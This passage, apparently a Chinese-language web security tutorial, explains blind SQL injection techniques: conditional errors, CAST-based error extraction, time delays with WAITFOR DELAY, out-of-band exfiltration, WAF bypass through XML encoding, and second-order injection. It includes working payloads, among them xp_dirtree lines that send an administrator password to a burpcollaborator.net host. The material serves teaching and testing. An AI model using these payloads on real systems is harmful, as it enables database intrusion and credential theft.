&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;xyz&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; AND (SELECT CASE WHEN (Username = &amp;#39;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Administrator&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; AND SUBSTRING(Password, 1, 1) &amp;gt; &amp;#39;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;m&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;) THEN 1/0 ELSE &amp;#39;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; END FROM Users)=&amp;#39;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;&#34;&gt;
&lt;/h3&gt;&lt;h3 id=&#34;&#34;&gt;
&lt;/h3&gt;&lt;p&gt;典型错误：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;类型转换错误&lt;/strong&gt;：例如在数值列中注入字符串，仅当条件为真时执行该转换（如&lt;code&gt;AND (IF(1=1, CAST(&#39;a&#39; AS INT), 0))&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;子查询语法错误&lt;/strong&gt;：构造仅在条件为真时返回多行的子查询，触发 “单行子查询返回多行” 错误；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;函数调用错误&lt;/strong&gt;：调用数据库内置函数时传入非法参数，仅在条件为真时触发函数执行错误。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;报错&#34;&gt;报错
&lt;/h4&gt;&lt;p&gt;由于数据库&lt;strong&gt;配置不当&lt;/strong&gt;，有时会输出错误信息，在某些情况下，你甚至可以诱导应用生成&lt;strong&gt;包含查询结果数据&lt;/strong&gt;的错误信息。这一手段能将原本的盲注漏洞，转化为可直接查看数据的 “显错注入”，大幅降低攻击难度。&lt;/p&gt;
&lt;p&gt;你可以使用&lt;code&gt;CAST()&lt;/code&gt;函数实现这一目的，该函数的作用是将一种数据类型转换为另一种。例如，构造包含如下语句的查询：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;CAST&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;example_column&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;example_table&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;AS&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;通常，你试图读取的目标数据是字符串类型，而将字符串强制转换为不兼容的类型（如整数&lt;code&gt;int&lt;/code&gt;）时，数据库会抛出类似如下的错误：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ERROR: invalid input syntax for type integer: &amp;ldquo;Example data&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;值得注意的是，若目标应用存在字符长度限制，导致你无法通过常规的条件响应方式进行盲注时，这种利用类型转换错误提取数据的方法会尤为有效。&lt;/p&gt;
&lt;h4 id=&#34;时间&#34;&gt;时间
&lt;/h4&gt;&lt;p&gt;若应用在SQL查询执行时捕获数据库错误并优雅处理，其响应不会出现任何差异——这意味着前文所述的条件错误注入技术将失效。&lt;/p&gt;
&lt;p&gt;这种情况下，可通过&lt;strong&gt;根据注入条件的真假触发不同时间延迟&lt;/strong&gt;来利用盲注漏洞。由于应用通常会同步处理SQL查询，延迟SQL执行会导致HTTP响应同步延迟，因此可通过接收响应的耗时判断注入条件的真假。&lt;/p&gt;
&lt;p&gt;触发时间延迟的技术因数据库类型而异。例如在Microsoft SQL Server中，可通过以下语句测试条件并根据结果触发延迟：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;; IF (1=2) WAITFOR DELAY &amp;#39;&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;IF&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WAITFOR&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DELAY&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;0:0:10&amp;#39;&lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;第一条输入不触发延迟（条件1=2为假）；&lt;/li&gt;
&lt;li&gt;第二条输入触发10秒延迟（条件1=1为真）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;借助该技术可逐字符提取数据，示例如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;; IF (SELECT COUNT(Username) FROM Users WHERE Username = &amp;#39;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Administrator&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; AND SUBSTRING(Password, 1, 1) &amp;gt; &amp;#39;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;m&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;) = 1 WAITFOR DELAY &amp;#39;&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;delay&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;SQL查询中触发时间延迟的方式多样，不同数据库适用不同技术，详情可参考SQL注入速查表。&lt;/p&gt;
&lt;h4 id=&#34;带外&#34;&gt;带外
&lt;/h4&gt;&lt;p&gt;某些应用可能会以&lt;strong&gt;异步方式&lt;/strong&gt;执行与之前示例相同的SQL查询：应用在原线程中继续处理用户请求，同时&lt;strong&gt;用另一个线程&lt;/strong&gt;执行包含Tracking Cookie的SQL查询。此时查询仍存在SQL注入漏洞，但此前介绍的所有技术都将失效——因为应用的响应不依赖于查询返回的数据、数据库错误，也不依赖于查询的执行时间。&lt;/p&gt;
&lt;p&gt;这种情况下，通常可以通过&lt;strong&gt;触发向你控制的系统发起带外网络交互&lt;/strong&gt;来利用盲注漏洞。你可以基于注入的条件触发这类交互，从而逐段推断信息；更实用的是，还能直接&lt;strong&gt;通过网络交互泄露数据&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;多种网络协议都可用于此目的，但最有效的通常是DNS（域名系统）——许多生产网络允许&lt;strong&gt;DNS查询自由出站&lt;/strong&gt;，因为这是生产系统正常运行的必要条件。&lt;/p&gt;
&lt;p&gt;使用带外技术最简单可靠的工具是&lt;strong&gt;Burp Collaborator&lt;/strong&gt;：这是一个提供多种网络服务（包括DNS）自定义实现的服务器，能让你检测发送单个载荷后是否触发了网络交互。Burp Suite专业版内置了客户端，默认已配置好与Burp Collaborator的协作。更多信息可参考Burp Collaborator的文档。&lt;/p&gt;
&lt;p&gt;触发DNS查询的技术因数据库类型而异。例如，在Microsoft SQL Server中，以下输入可导致数据库对指定域名发起DNS查询：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;; exec master..xp_dirtree &amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;//&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;efdymgw1o5w9inae8mg4dfrgim9ay&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;burpcollaborator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;net&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;exec master..xp_dirtree&lt;/code&gt;调用系统存储过程，传入的参数是一个&lt;strong&gt;网络共享 UNC 路径&lt;/strong&gt;（&lt;code&gt;//域名/a&lt;/code&gt;）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这会让数据库查询以下域名：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;子域名外带：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;; exec master..xp_dirtree &amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;//&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; + (SELECT password FROM users WHERE username=&amp;#39;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;administrator&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;) + &amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;efdymgw1o5w9inae8mg4dfrgim9ay&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;burpcollaborator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;net&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;或者多语句结合
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;declare&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;varchar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1024&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;set&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;password&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;users&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;WHERE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;Administrator&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;master..xp_dirtree &amp;#34;//&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;你可以用Burp Collaborator生成唯一的子域名，然后轮询Collaborator服务器，确认DNS查询是否发生。&lt;/p&gt;
&lt;h3 id=&#34;其他环境下的-sql-注入&#34;&gt;其他环境下的 SQL 注入
&lt;/h3&gt;&lt;p&gt;实际上，只要应用会将你可控制的输入作为SQL查询处理，任何这类输入都能用于实施SQL注入攻击。例如，部分网站会接收JSON或XML格式的输入，并利用这些输入查询数据库。&lt;/p&gt;
&lt;p&gt;这些不同的格式能为你提供多种&lt;strong&gt;混淆攻击的方法&lt;/strong&gt;，以绕过原本会被WAF（Web应用防火墙）及其他防御机制拦截的攻击。许多防御机制的实现较为薄弱，仅通过在请求中搜索常见的SQL注入关键字（如&lt;code&gt;SELECT&lt;/code&gt;、&lt;code&gt;UNION&lt;/code&gt;）进行拦截，因此你可以通过对禁用关键字中的字符进行&lt;strong&gt;编码或转义&lt;/strong&gt;，绕过这类过滤。例如，以下基于XML的SQL注入就使用了XML转义序列对&lt;code&gt;SELECT&lt;/code&gt;中的&lt;code&gt;S&lt;/code&gt;字符进行编码：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;stockCheck&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;productId&amp;gt;&lt;/span&gt;123&lt;span class=&#34;nt&#34;&gt;&amp;lt;/productId&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nt&#34;&gt;&amp;lt;storeId&amp;gt;&lt;/span&gt;999 &lt;span class=&#34;ni&#34;&gt;&amp;amp;#x53;&lt;/span&gt;ELECT * FROM information_schema.tables&lt;span class=&#34;nt&#34;&gt;&amp;lt;/storeId&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/stockCheck&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;该转义字符会在&lt;strong&gt;服务器端被解码&lt;/strong&gt;后，再传递给SQL解释器执行。&lt;/p&gt;
&lt;h3 id=&#34;二阶注入&#34;&gt;二阶注入
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;一阶SQL注入&lt;/strong&gt;指应用程序处理HTTP请求中的用户输入时，以不安全的方式将输入直接拼接到SQL查询中，导致漏洞触发。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;二阶SQL注入&lt;/strong&gt;则是指应用程序先接收HTTP请求中的用户输入并存储（通常存入数据库），但数据存储阶段并不存在漏洞；后续处理另一个HTTP请求时，应用程序&lt;strong&gt;从存储中读取该数据&lt;/strong&gt;，却以不安全的方式将其拼接到SQL查询中，最终触发注入。因此，二阶SQL注入也被称为&lt;strong&gt;存储型SQL注入&lt;/strong&gt;（stored SQL injection）。&lt;/p&gt;
&lt;p&gt;二阶SQL注入的典型场景是：开发者已知一阶注入的风险，因此在数据&lt;strong&gt;首次存储&lt;/strong&gt;时做了安全处理（如转义、参数化查询）；但后续读取该数据时，错误地认为“已存入数据库的数据是安全可信的”，未做任何安全校验就直接用于SQL查询，最终因这种“信任误用”导致漏洞。&lt;/p&gt;
&lt;p&gt;典型场景示例&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;用户注册场景&lt;/strong&gt;：
注册时输入用户名 &lt;code&gt;admin&#39;--&lt;/code&gt;，应用程序用参数化查询将其安全存入数据库（存储内容为 &lt;code&gt;admin&#39;--&lt;/code&gt;）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;后台用户查询场景&lt;/strong&gt;：
管理员在后台查询用户信息时，应用程序读取数据库中的用户名，以不安全方式拼接SQL：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;users&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;WHERE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;$stored_username&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;拼接后实际执行的SQL为：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;users&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;WHERE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;--&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
